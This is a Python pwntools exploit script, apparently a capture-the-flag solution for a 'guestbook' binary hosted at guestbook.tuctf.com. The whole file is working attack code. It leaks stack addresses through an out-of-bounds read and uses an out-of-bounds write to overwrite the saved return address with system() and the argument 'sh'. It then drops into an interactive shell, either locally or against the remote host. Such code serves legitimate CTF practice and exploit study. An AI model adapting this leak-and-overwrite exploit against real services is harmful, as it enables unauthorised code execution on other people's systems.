guestbook.py

#!/usr/bin/env python
# coding: utf-8

from pwn import *

class Exploit:
    def __init__(self, args):
        if len(args) == 1:
            self._func = process
        else:
            self._func = remote

        self._funcargs = args

    def _run(self):
        self._p = self._func(*self._funcargs)
        return self._p

    def _sendchoice(self, choice, prompt=">>>"):
        self._p.recvuntil("\n" + prompt)
        self._p.sendline(str(choice))

    def _view(self, index):
        self._sendchoice(1, prompt=">>")
        self._sendchoice(index)

    def _change(self, index, value):
        self._sendchoice(2, prompt=">>")
        self._sendchoice(index)
        self._sendchoice(value)

        # getchar() waits for a newline or (char) -1
        self._p.send('\xff')

    def _quit(self):
        self._sendchoice(3, prompt=">>")

    def pwn(self):
        with self._run() as p:
            for x in xrange(4):
                # we setup the exploit
                self._sendchoice("sh")

            # view the current function's stack
            self._view(6)

            # receive 7 32-bit pointers
            data = p.recv(7 * 4)
            addresses = unpack_many(data, 32, endian="little", sign=False)
            cmdaddr, systemaddr, arrayaddr = (addresses[1], addresses[-2],
                                              addresses[-1])

            # 0x30 is the distance between array and seip
            seipaddr = arrayaddr + 0x30
            # 6 is the offset of the variable containing array address
            self._change(6, p32(seipaddr + 0x8))
            # argument = sh
            self._change(0, p32(cmdaddr))

            self._change(6, p32(seipaddr))
            # function = system
            self._change(0, p32(systemaddr))

            self._quit()

            # shell
            p.interactive()

if __name__ == "__main__":
    import sys
    import os
    import re

    # ./guestbook.py ./guestbook                # local
    # ./guestbook.py guestbook.tuctf.com:4545   # remote

    def extract(data):
        if os.path.exists(data):
            return (data,)
        host, port = data.split(":")
        host = host.lower()
        port = int(port)

        r = re.compile("(?!-)[a-z\d-]{1,63}(?<!-)$")
        assert(all(r.match(x) for x in host.split(".")))

        return host, port

    args = extract(sys.argv[1]) if len(sys.argv) > 1 else ("./guestbook",)

    exploit = Exploit(args)
    exploit.pwn()